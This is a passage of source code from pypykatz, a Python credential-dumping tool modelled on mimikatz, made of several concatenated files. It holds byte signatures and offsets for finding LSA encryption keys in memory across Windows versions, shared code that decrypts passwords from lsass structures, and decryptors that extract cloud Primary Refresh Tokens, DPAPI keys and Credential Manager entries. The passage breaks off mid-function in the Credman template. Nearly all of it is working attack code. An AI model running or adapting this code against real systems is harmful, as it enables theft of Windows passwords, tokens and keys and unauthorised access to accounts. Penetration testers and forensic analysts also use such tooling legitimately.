275 LsaTemplate_NT6.__init__(self)
276 self.key_pattern = LSADecyptorKeyPattern()
277 self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d'
278 self.key_pattern.IV_length = 16
279 self.key_pattern.offset_to_IV_ptr = 59
280 self.key_pattern.offset_to_DES_key_ptr = -61
281 self.key_pattern.offset_to_AES_key_ptr = 25
282
283 self.key_struct = KIWI_BCRYPT_KEY
284 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
285
286
287 class LSA_x64_3(LsaTemplate_NT6):
288 def __init__(self):
289 LsaTemplate_NT6.__init__(self)
290 self.key_pattern = LSADecyptorKeyPattern()
291 self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d'
292 self.key_pattern.IV_length = 16
293 self.key_pattern.offset_to_IV_ptr = 62
294 self.key_pattern.offset_to_DES_key_ptr = -70
295 self.key_pattern.offset_to_AES_key_ptr = 23
296
297 self.key_struct = KIWI_BCRYPT_KEY8
298 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
299
300 class LSA_x64_4(LsaTemplate_NT6):
301 def __init__(self):
302 LsaTemplate_NT6.__init__(self)
303 self.key_pattern = LSADecyptorKeyPattern()
304 self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d'
305 self.key_pattern.IV_length = 16
306 self.key_pattern.offset_to_IV_ptr = 62
307 self.key_pattern.offset_to_DES_key_ptr = -70
308 self.key_pattern.offset_to_AES_key_ptr = 23
309
310 self.key_struct = KIWI_BCRYPT_KEY81
311 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
312
313 class LSA_x64_5(LsaTemplate_NT6):
314 def __init__(self):
315 LsaTemplate_NT6.__init__(self)
316 self.key_pattern = LSADecyptorKeyPattern()
317 self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15'
318 self.key_pattern.IV_length = 16
319 self.key_pattern.offset_to_IV_ptr = 61
320 self.key_pattern.offset_to_DES_key_ptr = -73
321 self.key_pattern.offset_to_AES_key_ptr = 16
322
323 self.key_struct = KIWI_BCRYPT_KEY81
324 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
325
326 class LSA_x64_6(LsaTemplate_NT6):
327 def __init__(self):
328 LsaTemplate_NT6.__init__(self)
329 self.key_pattern = LSADecyptorKeyPattern()
330 self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15'
331 self.key_pattern.IV_length = 16
332 self.key_pattern.offset_to_IV_ptr = 67
333 self.key_pattern.offset_to_DES_key_ptr = -89
334 self.key_pattern.offset_to_AES_key_ptr = 16
335
336 self.key_struct = KIWI_BCRYPT_KEY81
337 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
338
339 class LSA_x86_1(LsaTemplate_NT6):
340 def __init__(self):
341 LsaTemplate_NT6.__init__(self)
342 self.key_pattern = LSADecyptorKeyPattern()
343 self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
344 self.key_pattern.IV_length = 16
345 self.key_pattern.offset_to_IV_ptr = 5
346 self.key_pattern.offset_to_DES_key_ptr = -76
347 self.key_pattern.offset_to_AES_key_ptr = -21
348
349 self.key_struct = KIWI_BCRYPT_KEY
350 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
351
352 class LSA_x86_2(LsaTemplate_NT6):
353 def __init__(self):
354 LsaTemplate_NT6.__init__(self)
355 self.key_pattern = LSADecyptorKeyPattern()
356 self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
357 self.key_pattern.IV_length = 16
358 self.key_pattern.offset_to_IV_ptr = 5
359 self.key_pattern.offset_to_DES_key_ptr = -76
360 self.key_pattern.offset_to_AES_key_ptr = -21
361
362 self.key_struct = KIWI_BCRYPT_KEY
363 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
364
365 class LSA_x86_3(LsaTemplate_NT6):
366 def __init__(self):
367 LsaTemplate_NT6.__init__(self)
368 self.key_pattern = LSADecyptorKeyPattern()
369 self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
370 self.key_pattern.IV_length = 16
371 self.key_pattern.offset_to_IV_ptr = 5
372 self.key_pattern.offset_to_DES_key_ptr = -69
373 self.key_pattern.offset_to_AES_key_ptr = -18
374
375 self.key_struct = KIWI_BCRYPT_KEY8
376 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
377
378 class LSA_x86_4(LsaTemplate_NT6):
379 def __init__(self):
380 LsaTemplate_NT6.__init__(self)
381 self.key_pattern = LSADecyptorKeyPattern()
382 self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
383 self.key_pattern.IV_length = 16
384 self.key_pattern.offset_to_IV_ptr = 5
385 self.key_pattern.offset_to_DES_key_ptr = -69
386 self.key_pattern.offset_to_AES_key_ptr = -18
387
388 self.key_struct = KIWI_BCRYPT_KEY81
389 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
390
391 class LSA_x86_5(LsaTemplate_NT6):
392 def __init__(self):
393 LsaTemplate_NT6.__init__(self)
394 self.key_pattern = LSADecyptorKeyPattern()
395 self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
396 self.key_pattern.IV_length = 16
397 self.key_pattern.offset_to_IV_ptr = 5
398 self.key_pattern.offset_to_DES_key_ptr = -79
399 self.key_pattern.offset_to_AES_key_ptr = -22
400
401 self.key_struct = KIWI_BCRYPT_KEY81
402 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
403
404 class LSA_x86_6(LsaTemplate_NT6):
405 def __init__(self):
406 LsaTemplate_NT6.__init__(self)
407
408 self.key_pattern = LSADecyptorKeyPattern()
409 self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
410 self.key_pattern.IV_length = 16
411 self.key_pattern.offset_to_IV_ptr = 5
412 self.key_pattern.offset_to_DES_key_ptr = -79
413 self.key_pattern.offset_to_AES_key_ptr = -22
414
415 self.key_struct = KIWI_BCRYPT_KEY81
416 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
417
418
419
420 templates = {
421 'nt6' : {
422 'x64' : {
423 '1' : LSA_x64_1(),
424 '2' : LSA_x64_2(),
425 '3' : LSA_x64_3(),
426 '4' : LSA_x64_4(),
427 '5' : LSA_x64_5(),
428 '6' : LSA_x64_6(),
429 },
430 'x86': {
431 '1' : LSA_x86_1(),
432 '2' : LSA_x86_2(),
433 '3' : LSA_x86_3(),
434 '4' : LSA_x86_4(),
435 '5' : LSA_x86_5(),
436 '6' : LSA_x86_6(),
437 }
438 }
439 }
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6
7 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild
8 from pypykatz.alsadecryptor.lsa_template_nt5 import LsaTemplate_NT5
9 from pypykatz.alsadecryptor.lsa_template_nt6 import LsaTemplate_NT6
10
11 class LsaTemplate:
12 def __init__(self):
13 pass
14
15
16 @staticmethod
17 def get_template_brute(sysinfo):
18 if sysinfo.architecture == KatzSystemArchitecture.X86:
19 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
20 return LsaTemplate_NT5.get_template_brute(sysinfo)
21 else:
22 return LsaTemplate_NT6.get_template_brute(sysinfo)
23
24 elif sysinfo.architecture == KatzSystemArchitecture.X64:
25 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
26 return LsaTemplate_NT5.get_template_brute(sysinfo)
27 else:
28 return LsaTemplate_NT6.get_template_brute(sysinfo)
29
30
31 @staticmethod
32 def get_template(sysinfo):
33 if sysinfo.architecture == KatzSystemArchitecture.X86:
34 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
35 return LsaTemplate_NT5.get_template(sysinfo)
36 else:
37 return LsaTemplate_NT6.get_template(sysinfo)
38
39 elif sysinfo.architecture == KatzSystemArchitecture.X64:
40 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
41 return LsaTemplate_NT5.get_template(sysinfo)
42 else:
43 return LsaTemplate_NT6.get_template(sysinfo)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from abc import ABC, abstractmethod
7 import logging
8 from pypykatz.commons.common import hexdump
9 from pypykatz.alsadecryptor.win_datatypes import RTL_AVL_TABLE
10
11 class Logger:
12 def __init__(self, module_name, package_name, sysinfo):
13 self.package_name = package_name
14 self.module_name = module_name
15 self.sysinfo = sysinfo
16 self.logger = logging.getLogger('pypykatz')
17
18 def get_level(self):
19 return self.logger.getEffectiveLevel()
20
21 def log(self, msg, loglevel = 1):
22 first = True
23 for line in msg.split('\n'):
24 if first == True:
25 self.logger.log(loglevel, '[%s] [%s] %s' % (self.package_name, self.module_name, line))
26 first = False
27 else:
28 self.logger.log(loglevel, '[%s] [%s] %s' % (self.package_name, self.module_name, line))
29
30 class PackageTemplate:
31 def __init__(self, package_name, sysinfo = None):
32 self.logger = Logger('template', package_name, sysinfo)
33 self.package_name = package_name
34 self.sysinfo = sysinfo
35
36 def log(self, msg, loglevel = 6):
37 self.logger.log(loglevel, '%s' % msg)
38
39 def log_template(self, struct_var_name, struct_template_obj, loglevel = 6):
40 """"
41 Generic logging function to show which template was selected for which structure
42 """
43 self.logger.log('Selecting template for %s: %s' % (struct_var_name, struct_template_obj.__name__), loglevel)
44
45
46 @staticmethod
47 @abstractmethod
48 def get_template(sysinfo):
49 pass
50
51
52 class PackageDecryptor:
53 def __init__(self, package_name, lsa_decryptor, sysinfo, reader):
54 self.logger = Logger('decryptor', package_name, sysinfo)
55 self.package_name = package_name
56 self.lsa_decryptor = lsa_decryptor
57 self.sysinfo = sysinfo
58 self.reader = reader
59
60 def log(self, msg, loglevel = 6):
61 self.logger.log('%s' % msg, loglevel)
62
63 async def find_signature(self, module_name, signature):
64 """
65 Searches for a sequence of bytes in the module identified by module_name
66 """
67 self.log('Searching for key struct signature')
68 fl = await self.reader.find_in_module(module_name, self.decryptor_template.signature, find_first = True)
69 if len(fl) == 0:
70 raise Exception('Signature was not found in module %s Signature: %s' % (module_name, self.decryptor_template.signature.hex()))
71 return fl[0]
72
73 async def log_ptr(self, ptr, name, datasize = None):
74 """
75 Reads datasize bytes from the memory region pointed by the pointer.
76 ptr = the pointer to be read
77 name = display name for the memory structure, usually the data structure's name the pointer is pointing at
78 """
79 level = self.logger.get_level()
80 if level > 6 or level == 0:
81 return
82
83 if not datasize:
84 if level == 5:
85 datasize = 0x10
86 if level == 4:
87 datasize = 0x20
88 if level == 3:
89 datasize = 0x50
90 if level == 2:
91 datasize = 0x100
92 if level == 1:
93 datasize = 0x200
94
95 pos = self.reader.tell()
96 try:
97 await self.reader.move(ptr)
98 data = await self.reader.peek(datasize)
99 await self.reader.move(pos)
100 self.log('%s: %s\n%s' % (name, hex(ptr), hexdump(data, start = ptr)))
101 except Exception as e:
102 self.log('%s: Logging failed for position %s' % (name, hex(ptr)))
103
104 def decrypt_password(self, enc_password, bytes_expected = False, trim_zeroes = True):
105 """
106 Common decryption method for LSA encrypted passwords. Result be string or hex encoded bytes (for machine accounts).
107 Also supports bad data, as orphaned credentials may contain actual password OR garbage
108
109 enc_password: bytes The encrypted password bytes
110 bytes_expected: bool :indication that the result of decryption is bytes, no need for encoding
111 trim_zeroes: bool: if a text is expected then this variable tells wether we should trim the trailing zeroes after decryption
112 """
113
114 dec_password = None
115 temp = self.lsa_decryptor.decrypt(enc_password)
116 if temp and len(temp) > 0:
117 if bytes_expected == False:
118 try: # normal password
119 dec_password = temp.decode('ascii')
120 except: # machine password
121 try:
122 dec_password = temp.decode('utf-8')
123 except:
124 try:
125 dec_password = temp.decode('utf-16-le')
126 except:
127 dec_password = temp.hex()
128 else: # if not machine password, then check if we should trim it
129 if trim_zeroes == True:
130 dec_password = dec_password.rstrip('\x00')
131 else:
132 dec_password = temp
133
134 return dec_password
135
136 async def walk_avl(self, node_ptr, result_ptr_list):
137 """
138 Walks the AVL tree, extracts all OrderedPointer values and returns them in a list
139 node_ptr: POINTER : the Parent->RightChild pointer in the AVL tree
140 result_ptr_list: list: the list to store the results in
141 """
142 node = await node_ptr.read(self.reader, override_finaltype = RTL_AVL_TABLE)
143 if node is None:
144 self.log('AVL walker found empty tree')
145 return
146 if node.OrderedPointer.value != 0:
147 result_ptr_list.append(node.OrderedPointer.value)
148 if node.BalancedRoot.LeftChild.value != 0 :
149 await self.walk_avl(node.BalancedRoot.LeftChild, result_ptr_list)
150 if node.BalancedRoot.RightChild.value != 0 :
151 await self.walk_avl(node.BalancedRoot.RightChild, result_ptr_list)
152
153 async def walk_list(self, entry_ptr, callback, max_walk = 255, override_ptr = None):
154 """
155 Iterating over a linked list. Linked lists in packages are circural, so the end of the list is tested is the Flink is pointing to an address already seen.
156
157 entry_ptr = pointer type object the will yiled the first entry when called read()
158 callback = function that will be called when a new entry is found. callback method will be invoked with one parameter, the entry itself
159
160 max_walk = limit the amount of entries to be iterating
161 override_ptr = if this parameter is set the pointer will be resolved as if it would be pointing to this structure
162 """
163
164 #if entry_ptr.value == 0:
165 # self.log('walk_list called with a NULL pointer! This could mean that parsing is failing, double check this!')
166 # return
167
168 entries_seen = {}
169 entries_seen[entry_ptr.location] = 1
170 max_walk = max_walk
171 await self.log_ptr(entry_ptr.value, 'List entry -%s-' % entry_ptr.finaltype.__name__ if not override_ptr else override_ptr.__name__)
172 while True:
173 if override_ptr:
174 entry = await entry_ptr.read(self.reader, override_ptr)
175 else:
176 entry = await entry_ptr.read(self.reader)
177
178 if not entry:
179 break
180
181 await callback(entry)
182
183
184
185 max_walk -= 1
186 self.log('%s next ptr: %x' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , entry.Flink.value))
187 self.log('%s seen: %s' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , entry.Flink.value not in entries_seen))
188 self.log('%s max_walk: %d' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , max_walk))
189 if entry.Flink.value != 0 and entry.Flink.value not in entries_seen and max_walk != 0:
190 entries_seen[entry.Flink.value] = 1
191 await self.log_ptr(entry.Flink.value, 'Next list entry -%s-' % entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__)
192 entry_ptr = entry.Flink
193 else:
194 break
195
196
197
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from .credman.templates import *
7 from .dpapi.templates import *
8 from .dpapi.decryptor import *
9 #from .kerberos.templates import *
10 #from .kerberos.decryptor import *
11 from .livessp.templates import *
12 from .livessp.decryptor import *
13 from .msv.templates import *
14 from .msv.decryptor import *
15 from .ssp.templates import *
16 from .ssp.decryptor import *
17 from .tspkg.templates import *
18 from .tspkg.decryptor import *
19 from .wdigest.templates import *
20 from .wdigest.decryptor import *
21 from .cloudap.templates import *
22 from .cloudap.decryptor import *
23
24 __credman__ = ['CredmanTemplate']
25 __dpapi__ = ['DpapiTemplate', 'DpapiDecryptor', 'DpapiCredential']
26 #__kerberos__ = ['KerberosTemplate','KerberosDecryptor']
27 __msv__ = ['MsvTemplate', 'MsvDecryptor', 'MsvCredential']
28 __ssp__ = ['SspTemplate', 'SspDecryptor', 'SspCredential']
29 __livessp__ = ['LiveSspTemplate', 'LiveSspDecryptor', 'LiveSspCredential']
30 __tspkg__ = ['TspkgTemplate', 'TspkgDecryptor', 'TspkgCredential']
31 __wdigest__ = ['WdigestTemplate','WdigestDecryptor','WdigestCredential']
32 __cloudap__ = ['CloudapTemplate', 'CloudapDecryptor','CloudapCredential']
33
34
35 #__kerberos__
36 __all__ = __cloudap__ + __credman__ + __dpapi__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__
0 import json
1 import hashlib
2 from pypykatz.alsadecryptor.package_commons import PackageDecryptor
3
4 class CloudapCredential:
5 def __init__(self):
6 self.credtype = 'cloudap'
7 self.luid = None
8 self.sid = None
9 self.cachedir = None
10 self.PRT = None
11 self.key_guid = None
12 self.dpapi_key = None
13 self.dpapi_key_sha1 = None
14
15 def to_dict(self):
16 t = {}
17 t['credtype'] = self.credtype
18 t['cachedir'] = self.cachedir
19 t['PRT'] = self.PRT
20 t['key_guid'] = self.key_guid
21 t['dpapi_key'] = self.dpapi_key
22 t['dpapi_key_sha1'] = self.dpapi_key_sha1
23 return t
24
25 def to_json(self):
26 return json.dumps(self.to_dict())
27
28 def __str__(self):
29 t = '\t== Cloudap [%x]==\n' % self.luid
30 t += '\t\tcachedir %s\n' % self.cachedir
31 t += '\t\tPRT %s\n' % self.PRT
32 t += '\t\tkey_guid %s\n' % self.key_guid
33 t += '\t\tdpapi_key %s\n' % self.dpapi_key
34 t += '\t\tdpapi_key_sha1 %s\n' % self.dpapi_key_sha1
35 return t
36
37 class CloudapDecryptor(PackageDecryptor):
38 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
39 super().__init__('Cloudap', lsa_decryptor, sysinfo, reader)
40 self.decryptor_template = decryptor_template
41 self.credentials = []
42
43 async def find_first_entry(self):
44 position = await self.find_signature('cloudAP.dll',self.decryptor_template.signature)
45 ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
46 ptr_entry = await self.reader.get_ptr(ptr_entry_loc)
47 return ptr_entry, ptr_entry_loc
48
49 async def add_entry(self, cloudap_entry):
50 try:
51 cred = CloudapCredential()
52 cred.luid = cloudap_entry.LocallyUniqueIdentifier
53
54 if cloudap_entry.cacheEntry is None or cloudap_entry.cacheEntry.value == 0:
55 return
56 cache = await cloudap_entry.cacheEntry.read(self.reader)
57 cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','')
58 if cache.cbPRT != 0 and cache.PRT.value != 0:
59 ptr_enc = await cache.PRT.read_raw(self.reader, cache.cbPRT)
60 temp = self.decrypt_password(ptr_enc, bytes_expected=True)
61 try:
62 temp = temp.decode()
63 except:
64 pass
65
66 cred.PRT = temp
67
68 if cache.toDetermine != 0:
69 unk = await cache.toDetermine.read(self.reader)
70 if unk is not None:
71 cred.key_guid = unk.guid.value
72 cred.dpapi_key = self.decrypt_password(unk.unk)
73 cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest()
74
75 if cred.PRT is None and cred.key_guid is None:
76 return
77 self.credentials.append(cred)
78 except Exception as e:
79 self.log('CloudAP entry parsing error! Reason %s' % e)
80
81
82 async def start(self):
83 try:
84 entry_ptr_value, entry_ptr_loc = await self.find_first_entry()
85 except Exception as e:
86 self.log('Failed to find structs! Reason: %s' % e)
87 return
88
89 await self.reader.move(entry_ptr_loc)
90 entry_ptr = await self.decryptor_template.list_entry(self.reader)
91 await self.walk_list(entry_ptr, self.add_entry)
0 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild
1 from pypykatz.alsadecryptor.win_datatypes import ULONG, LUID, KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER, DWORD, PVOID, PSID, GUID, DWORD64
2 from pypykatz.alsadecryptor.package_commons import PackageTemplate
3
4 class CloudapTemplate(PackageTemplate):
5 def __init__(self):
6 super().__init__('Cloudap')
7 self.signature = None
8 self.first_entry_offset = None
9 self.list_entry = None
10
11 @staticmethod
12 def get_template(sysinfo):
13 template = CloudapTemplate()
14 if sysinfo.buildnumber <= WindowsBuild.WIN_10_1903.value:
15 return None
16
17 if sysinfo.architecture == KatzSystemArchitecture.X64:
18 template.signature = b'\x44\x8b\x01\x44\x39\x42\x18\x75'
19 template.first_entry_offset = -9
20 template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY
21
22 elif sysinfo.architecture == KatzSystemArchitecture.X86:
23 template.signature = b'\x8b\x31\x39\x72\x10\x75'
24 template.first_entry_offset = -8
25 template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY
26
27 else:
28 raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
29
30 template.log_template('list_entry', template.list_entry)
31 return template
32
33 class PKIWI_CLOUDAP_CACHE_UNK(POINTER):
34 def __init__(self):
35 super().__init__()
36
37 @staticmethod
38 async def load(reader):
39 p = PKIWI_CLOUDAP_CACHE_UNK()
40 p.location = reader.tell()
41 p.value = await reader.read_uint()
42 p.finaltype = KIWI_CLOUDAP_CACHE_UNK
43 return p
44
45 class KIWI_CLOUDAP_CACHE_UNK:
46 def __init__(self):
47 self.unk0 = None
48 self.unk1 = None
49 self.unk2 = None
50 self.unkSize = None
51 self.guid = None
52 self.unk = None
53
54 @staticmethod
55 async def load(reader):
56 res = KIWI_CLOUDAP_CACHE_UNK()
57 res.unk0 = await DWORD.load(reader)
58 res.unk1 = await DWORD.load(reader)
59 res.unk2 = await DWORD.load(reader)
60 res.unkSize = await DWORD.loadvalue(reader)
61 res.guid = await GUID.loadvalue(reader)
62 res.unk = await reader.read(64)
63 return res
64
65
66 class PKIWI_CLOUDAP_CACHE_LIST_ENTRY(POINTER):
67 def __init__(self):
68 super().__init__()
69
70 @staticmethod
71 async def load(reader):
72 p = PKIWI_CLOUDAP_CACHE_LIST_ENTRY()
73 p.location = reader.tell()
74 p.value = await reader.read_uint()
75 p.finaltype = KIWI_CLOUDAP_CACHE_LIST_ENTRY
76 return p
77
78 class KIWI_CLOUDAP_CACHE_LIST_ENTRY:
79 def __init__(self):
80 self.Flink = None
81 self.Blink = None
82 self.unk0 = None
83 self.LockList = None
84 self.unk1 = None
85 self.unk2 = None
86 self.unk3 = None
87 self.unk4 = None
88 self.unk5 = None
89 self.unk6 = None
90 self.unk7 = None
91 self.unk8 = None
92 self.unk9 = None
93 self.unkLogin0 = None
94 self.unkLogin1 = None
95 self.toname = None
96 self.Sid = None
97 self.unk10 = None
98 self.unk11 = None
99 self.unk12 = None
100 self.unk13 = None
101 self.toDetermine = None
102 self.unk14 = None
103 self.cbPRT = None
104 self.PRT = None
105
106 @staticmethod
107 async def load(reader):
108 res = KIWI_CLOUDAP_CACHE_LIST_ENTRY()
109 res.Flink = await PKIWI_CLOUDAP_CACHE_LIST_ENTRY.load(reader)
110 res.Blink = await PKIWI_CLOUDAP_CACHE_LIST_ENTRY.load(reader)
111 res.unk0 = await DWORD.load(reader)
112 await reader.align()
113 res.LockList = await PVOID.load(reader)
114 res.unk1 = await PVOID.load(reader)
115 res.unk2 = await PVOID.load(reader)
116 res.unk3 = await PVOID.load(reader)
117 res.unk4 = await PVOID.load(reader)
118 res.unk5 = await PVOID.load(reader)
119 res.unk6 = await DWORD.load(reader)
120 res.unk7 = await DWORD.load(reader)
121 res.unk8 = await DWORD.load(reader)
122 res.unk9 = await DWORD.load(reader)
123 res.unkLogin0 = await PVOID.load(reader) #PCWSTR
124 res.unkLogin1 = await PVOID.load(reader) #PCWSTR
125 res.toname = await reader.read(130) #wchar_t [64 + 1];
126 await reader.align()
127 res.Sid = await PSID.loadvalue(reader)
128 res.unk10 = await DWORD.load(reader)
129 res.unk11 = await DWORD.load(reader)
130 res.unk12 = await DWORD.load(reader)
131 res.unk13 = await DWORD.load(reader)
132 res.toDetermine = await PKIWI_CLOUDAP_CACHE_UNK.load(reader)
133 res.unk14 = await PVOID.load(reader)
134 res.cbPRT = await DWORD.load(reader)
135 await reader.align()
136 res.PRT = await PVOID.load(reader) #PBYTE(reader)
137 return res
138
139 class PKIWI_CLOUDAP_LOGON_LIST_ENTRY(POINTER):
140 def __init__(self):
141 super().__init__()
142
143 @staticmethod
144 async def load(reader):
145 p = PKIWI_CLOUDAP_LOGON_LIST_ENTRY()
146 p.location = reader.tell()
147 p.value = await reader.read_uint()
148 p.finaltype = KIWI_CLOUDAP_LOGON_LIST_ENTRY
149 return p
150
151 class KIWI_CLOUDAP_LOGON_LIST_ENTRY:
152 def __init__(self):
153 self.Flink = None
154 self.Blink = None
155 self.unk0 = None
156 self.unk1 = None
157 self.LocallyUniqueIdentifier = None
158 self.unk2 = None
159 self.unk3 = None
160 self.cacheEntry = None
161
162 @staticmethod
163 async def load(reader):
164 res = KIWI_CLOUDAP_LOGON_LIST_ENTRY()
165 res.Flink = await PKIWI_CLOUDAP_LOGON_LIST_ENTRY.load(reader)
166 res.Blink = await PKIWI_CLOUDAP_LOGON_LIST_ENTRY.load(reader)
167 res.unk0 = await DWORD.load(reader)
168 res.unk1 = await DWORD.load(reader)
169 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
170 res.unk2 = await DWORD64.load(reader)
171 res.unk3 = await DWORD64.load(reader)
172 res.cacheEntry = await PKIWI_CLOUDAP_CACHE_LIST_ENTRY.load(reader)
173 return res
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 from pypykatz.commons.common import hexdump
7 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild
8 from pypykatz.alsadecryptor.win_datatypes import LSA_UNICODE_STRING, ULONG, PVOID, PWSTR, POINTER, LIST_ENTRY
9 from pypykatz.alsadecryptor.package_commons import PackageTemplate
10
11 class CredmanTemplate(PackageTemplate):
12 def __init__(self):
13 super().__init__('Credman')
14 self.signature = None
15 self.first_entry_offset = None
16 self.list_entry = None
17
18 @staticmethod
19 def get_template(sysinfo):
20 template = CredmanTemplate()
21
22 if sysinfo.architecture == KatzSystemArchitecture.X64:
23 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
24 template.list_entry = KIWI_CREDMAN_LIST_ENTRY_5
25 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
26 template.list_entry = KIWI_CREDMAN_LIST_ENTRY_60
27 else:
28 template.list_entry = KIWI_CREDMAN_LIST_ENTRY
29 else:
30 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
31 template.list_entry = KIWI_CREDMAN_LIST_ENTRY_5_X86
32 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
33 template.list_entry = KIWI_CREDMAN_LIST_ENTRY_60_X86
34 else:
35 template.list_entry = KIWI_CREDMAN_LIST_ENTRY_X86
36
37 template.log_template('list_entry', template.list_entry)
38
39 return template
40
41 class PKIWI_CREDMAN_LIST_ENTRY_5_X86(POINTER):
42 def __init__(self):
43 super().__init__()
44
45 @staticmethod
46 async def load(reader):
47 p = PKIWI_CREDMAN_LIST_ENTRY_5_X86()
48 p.location = reader.tell()
49 p.value = await reader.read_uint()
50 p.finaltype = KIWI_CREDMAN_LIST_ENTRY_5_X86
51 return p
52
53 class KIWI_CREDMAN_LIST_ENTRY_5_X86:
54 def __init__(self):
55 self.cbEncPassword = None
56 self.encPassword = None
57 self.unk0 = None
58 self.unk1 = None
59 self.unk2 = None
60 self.unk3 = None
61 self.UserName = None
62 self.cbUserName = None
63 self.Flink = None
64 self.Blink = None
65 self.server1 = None
66 self.unk6 = None
67 self.unk7 = None
68 self.user = None
69 self.unk8 = None
70 self.server2 = None
71
72 @staticmethod
73 async def load(reader):
74 #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS
75 res = KIWI_CREDMAN_LIST_ENTRY_5_X86()
76 await reader.move(reader.tell() - 32)
77 await reader.align() #not sure if it's needed here
78 #
79 res.cbEncPassword = await ULONG.loadvalue(reader)
80 await reader.align()
81 res.encPassword =await PWSTR.load(reader)
82 res.unk0 = await ULONG.loadvalue(reader)
83 res.unk1 = await ULONG.loadvalue(reader)
84 res.unk2 = await PVOID.load(reader)
85 res.unk3 = await PVOID.load(reader)
86 res.UserName =await PWSTR.load(reader)
87 res.cbUserName = await ULONG.loadvalue(reader)
88 await reader.align()
89 res.Flink = await PKIWI_CREDMAN_LIST_ENTRY_5.load(reader)
90 res.Blink = await PKIWI_CREDMAN_LIST_ENTRY_5.load(reader)
91 res.server1 =await LSA_UNICODE_STRING.load(reader)
92 res.unk6 = await PVOID.load(reader)
93 res.unk7 = await PVOID.load(reader)
94 res.user =await LSA_UNICODE_STRING.load(reader)
95 res.unk8 = await ULONG.loadvalue(reader)
96 await reader.align()
97 res.server2 = await LSA_UNICODE_STRING.load(reader)
98 return res
99
100 class PKIWI_CREDMAN_LIST_ENTRY_60_X86(POINTER):
101 def __init__(self):
102 super().__init__()
103
104 @staticmethod
105 async def load(reader):
106 p = PKIWI_CREDMAN_LIST_ENTRY_60_X86()
107 p.location = reader.tell()
108 p.value = await reader.read_uint()
109 p.finaltype = KIWI_CREDMAN_LIST_ENTRY_60_X86
110 return p
111
112 class KIWI_CREDMAN_LIST_ENTRY_60_X86:
113 def __init__(self):
114 self.cbEncPassword = None
115 self.encPassword = None
116 self.unk0 = None
117 self.unk1 = None
118 self.unk2 = None
119 self.unk3 = None
120 self.UserName = None
121 self.cbUserName = None
122 self.Flink = None
123 self.Blink = None
124 self.type = None
125 self.unk5 = None
126 self.server1 = None
127 self.unk6 = None
128 self.unk7 = None
129 self.unk8 = None
130 self.unk9 = None
131 self.unk10 = None
132 self.user = None
133 self.unk11 = None
134 self.server2 = None
135
136 @staticmethod
137 async def load(reader):
138 res = KIWI_CREDMAN_LIST_ENTRY_60_X86()
139 #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS
140 #
141 await reader.move(reader.tell() - 32)
142 await reader.align() #not sure if it's needed here
143 res.cbEncPassword = await ULONG.loadvalue(reader)
144 await reader.align()
